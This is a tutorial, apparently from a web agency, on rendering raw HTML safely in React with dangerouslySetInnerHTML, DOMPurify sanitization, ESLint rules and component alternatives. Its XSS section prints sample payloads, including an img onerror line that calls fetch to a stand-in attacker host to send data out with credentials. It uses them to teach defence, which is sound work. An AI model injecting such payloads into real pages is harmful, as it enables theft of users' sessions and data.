Using dangerouslySetInnerHTML in React Applications

Learn the safe way to render raw HTML in React while preventing XSS vulnerabilities through proper sanitization with DOMPurify.

What is dangerouslySetInnerHTML?

React's dangerouslySetInnerHTML property is one of the most powerful yet frequently misunderstood features in the React ecosystem. While React's declarative approach to DOM manipulation generally prevents direct HTML injection, certain scenarios demand raw HTML rendering--from content management systems to third-party integrations.

This guide explores the proper implementation, security implications, and best practices for using dangerouslySetInnerHTML safely in modern web development applications. Understanding when and how to use this property correctly is essential for building secure, flexible applications that can handle rich content from diverse sources.

For developers working with React applications, knowing when to use (and avoid) this property is a key skill for building secure, maintainable codebases.

Basic Syntax and Usage

The dangerouslySetInnerHTML prop accepts an object with a single key, __html, containing the HTML string to render. This property bypasses React's virtual DOM escaping mechanism, allowing raw HTML to be inserted directly into the DOM.

Basic Component Example

function MyComponent() {
 const htmlContent = '<p>This is rendered HTML content</p>';
 
 return (
 <div dangerouslySetInnerHTML={{ __html: htmlContent }} />
 );
}

The __html property name serves as a visual reminder that this operation carries security implications and should be used with caution. React deliberately chose this unconventional property name to ensure developers pause and consider the security implications before proceeding with raw HTML injection.

Understanding this syntax is foundational for React development projects that require dynamic content rendering.

When Should You Use dangerouslySetInnerHTML?

Understanding the legitimate use cases helps developers avoid unnecessary risk while solving real-world problems. This property exists for specific scenarios where raw HTML rendering is genuinely required.

Rich Text Editors and WYSIWYG Content

Content management systems often store HTML markup from WYSIWYG editors like TinyMCE, Quill, or Draft.js. When rendering this stored content, dangerouslySetInnerHTML becomes necessary since the HTML structure comes from a trusted database source but still requires proper sanitization. Our team has extensive experience building CMS integrations that handle rich content securely.

Third-Party HTML Integration

APIs from external services may return HTML markup for rendering. Email templates, advertising code, and embedded content from partners often require raw HTML rendering. Always validate and sanitize content from external sources before injection.

Markdown Rendering

Some markdown libraries output HTML strings rather than React components. Rendering this output requires dangerouslySetInnerHTML with proper sanitization. Consider using modern markdown libraries like react-markdown that output React components instead.

When to Avoid It

Whenever possible, prefer component-based approaches. If you're generating the HTML yourself, build React components instead. Only use dangerouslySetInnerHTML when you truly need to render pre-existing HTML markup from an external source. For frontend development projects, we recommend component-based architectures that minimize reliance on raw HTML injection.

Understanding XSS Security Risks

Cross-site scripting (XSS) attacks represent one of the most common and dangerous vulnerabilities in web applications. According to the OWASP XSS Prevention Cheat Sheet, XSS attacks consistently rank among the top web security risks. When using dangerouslySetInnerHTML, understanding these attack vectors is crucial for protecting your users.

Stored XSS Attacks

Malicious scripts are injected and stored in your database. When other users view content containing these scripts, the attack executes in their browsers, potentially stealing session cookies, login credentials, or other sensitive information. This type of attack can affect thousands of users before being detected.

Reflected XSS Attacks

Malicious code is included in URLs or form submissions and reflected back to users. The attack executes when users click specially crafted links, often distributed through phishing emails or malicious websites.

DOM-Based XSS Attacks

Client-side JavaScript manipulates the DOM in a way that executes malicious code. This type of attack can happen entirely within the user's browser without server involvement, making it particularly challenging to detect and prevent.

Real-World Attack Examples

<!-- Malicious payload injected into content -->
<img src="x" onerror="alert('XSS')" />

<!-- More dangerous payload that steals data -->
<img src="x" onerror="fetch('https://attacker.com/steal', {credentials: 'include'})" />

These examples demonstrate why sanitization is non-negotiable when using dangerouslySetInnerHTML. Implementing proper security auditing practices helps catch these vulnerabilities early in the development cycle.

Safe Implementation with DOMPurify

DOMPurify is the industry-standard HTML sanitization library for JavaScript. It strips out all malicious code while preserving safe HTML markup, making it essential for any dangerouslySetInnerHTML implementation. As noted in the DOMPurify documentation, the library is designed to be fast, secure, and highly configurable.

Installing DOMPurify

npm install dompurify

Basic Sanitization Pattern

import DOMPurify from 'dompurify';

function SafeHTMLRenderer({ htmlContent }) {
 // Always sanitize before rendering
 const sanitizedContent = DOMPurify.sanitize(htmlContent);
 
 return (
 <div dangerouslySetInnerHTML={{ __html: sanitizedContent }} />
 );
}

Configuration Options

DOMPurify offers extensive configuration for different security requirements:

// Allow specific tags and attributes only
DOMPurify.sanitize(html, {
 ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
 ALLOWED_ATTR: ['href', 'target']
});

// Custom element handling
DOMPurify.setConfig({
 CUSTOM_ELEMENTS: true
});

For enterprise React development services, implementing strict allowlists reduces the attack surface significantly.

Automated Security Enforcement with ESLint

Preventing security vulnerabilities requires proactive measures. ESLint rules can detect and prevent unsanitized dangerouslySetInnerHTML usage before it reaches production. This shift-left approach catches issues during development rather than relying solely on runtime protection.

Creating a Sanitizer Wrapper

// utils/sanitizer.js
import DOMPurify from 'dompurify';

// Always use this wrapper - never use dangerouslySetInnerHTML directly
export const sanitizer = DOMPurify.sanitize;

Component Usage

import { sanitizer } from '../utils/sanitizer';

function SafeComponent({ content }) {
 return (
 <div 
 dangerouslySetInnerHTML={{ __html: sanitizer(content) }} 
 />
 );
}

ESLint Configuration

Add rules to your ESLint configuration to enforce sanitization usage:

{
 "rules": {
 "react/no-danger-with-children": "error",
 "no-unsanitized-methods": "error"
 }
}

These rules, combined with our secure coding practices, help prevent accidental security vulnerabilities in production applications.

Performance Considerations

Client-side sanitization can impact application performance, especially with large amounts of content or frequent re-renders. Understanding these trade-offs helps you design efficient solutions for your web applications.

Lazy Sanitization Approach

For large-scale applications, consider sanitizing on-demand rather than all content at once:

import { useMemo } from 'react';
import DOMPurify from 'dompurify';

function OptimizedRenderer({ htmlContent }) {
 const sanitizedContent = useMemo(
 () => DOMPurify.sanitize(htmlContent),
 [htmlContent]
 );
 
 return (
 <div dangerouslySetInnerHTML={{ __html: sanitizedContent }} />
 );
}

Server-Side Sanitization for Next.js

For better performance, sanitize content on the server before sending it to the client. This reduces client-side work and improves perceived performance:

// pages/api/render.js
export default function handler(req, res) {
 const rawContent = getContentFromDatabase();
 const sanitized = DOMPurify.sanitize(rawContent);
 res.json({ html: sanitized });
}

Caching Strategies

Implement caching for sanitized content to avoid re-sanitizing the same content multiple times. Redis or in-memory caches work well for frequently accessed content. Our performance optimization services can help implement these strategies effectively.

Alternatives to dangerouslySetInnerHTML

When possible, prefer safer alternatives that don't require raw HTML injection. Component-based architectures provide better security, maintainability, and developer experience.

Component-Based Rendering

function ArticleRenderer({ content }) {
 return (
 <article>
 {content.blocks.map(block => {
 switch (block.type) {
 case 'paragraph':
 return <p key={block.id}>{block.text}</p>;
 case 'heading':
 return <h2 key={block.id}>{block.text}</h2>;
 case 'image':
 return <img key={block.id} src={block.src} alt={block.alt} />;
 default:
 return null;
 }
 })}
 </article>
 );
}

Markdown Libraries with Component Output

Modern markdown libraries like react-markdown output React components instead of HTML strings, eliminating the need for dangerouslySetInnerHTML entirely. This approach provides full React component interoperability and eliminates XSS risks from markdown rendering.

Template-Based Approaches

For templating needs, consider libraries that compile templates into component trees rather than HTML strings. This maintains the React component model while providing template flexibility. Our React development team specializes in these architectures for complex applications.

Best Practices Checklist

Follow these guidelines when using dangerouslySetInnerHTML

Always Sanitize

Use DOMPurify.sanitize() on all HTML content before passing it to dangerouslySetInnerHTML

Validate Sources

Only render HTML from trusted sources. Implement additional validation for user-generated content

Use ESLint Rules

Configure ESLint to detect and prevent unsanitized dangerouslySetInnerHTML usage

Keep Libraries Updated

Maintain current versions of DOMPurify and other security libraries

Implement CSP Headers

Content Security Policy headers add an additional layer of XSS protection

Prefer Components

Use component-based rendering when possible instead of raw HTML injection

Frequently Asked Questions

Secure Your React Applications

Need help implementing secure HTML rendering or have questions about React security? Our web development team can help you build safe, performant applications that follow security best practices.

Sources

  1. LogRocket: Using dangerouslySetInnerHTML in a React application - Comprehensive tutorial covering basic usage, security concerns, and best practices

  2. Refine: When to use dangerouslySetInnerHTML in React? - Detailed guide with focus on XSS attacks, security risks, and practical implementation examples

  3. DEV Community: How to prevent XSS attacks when using dangerouslySetInnerHTML - Security-focused article emphasizing sanitization techniques and ESLint enforcement

  4. OWASP XSS Prevention Cheat Sheet - Industry-standard security guidelines for preventing cross-site scripting

  5. DOMPurify GitHub Repository - Primary sanitization library documentation and source code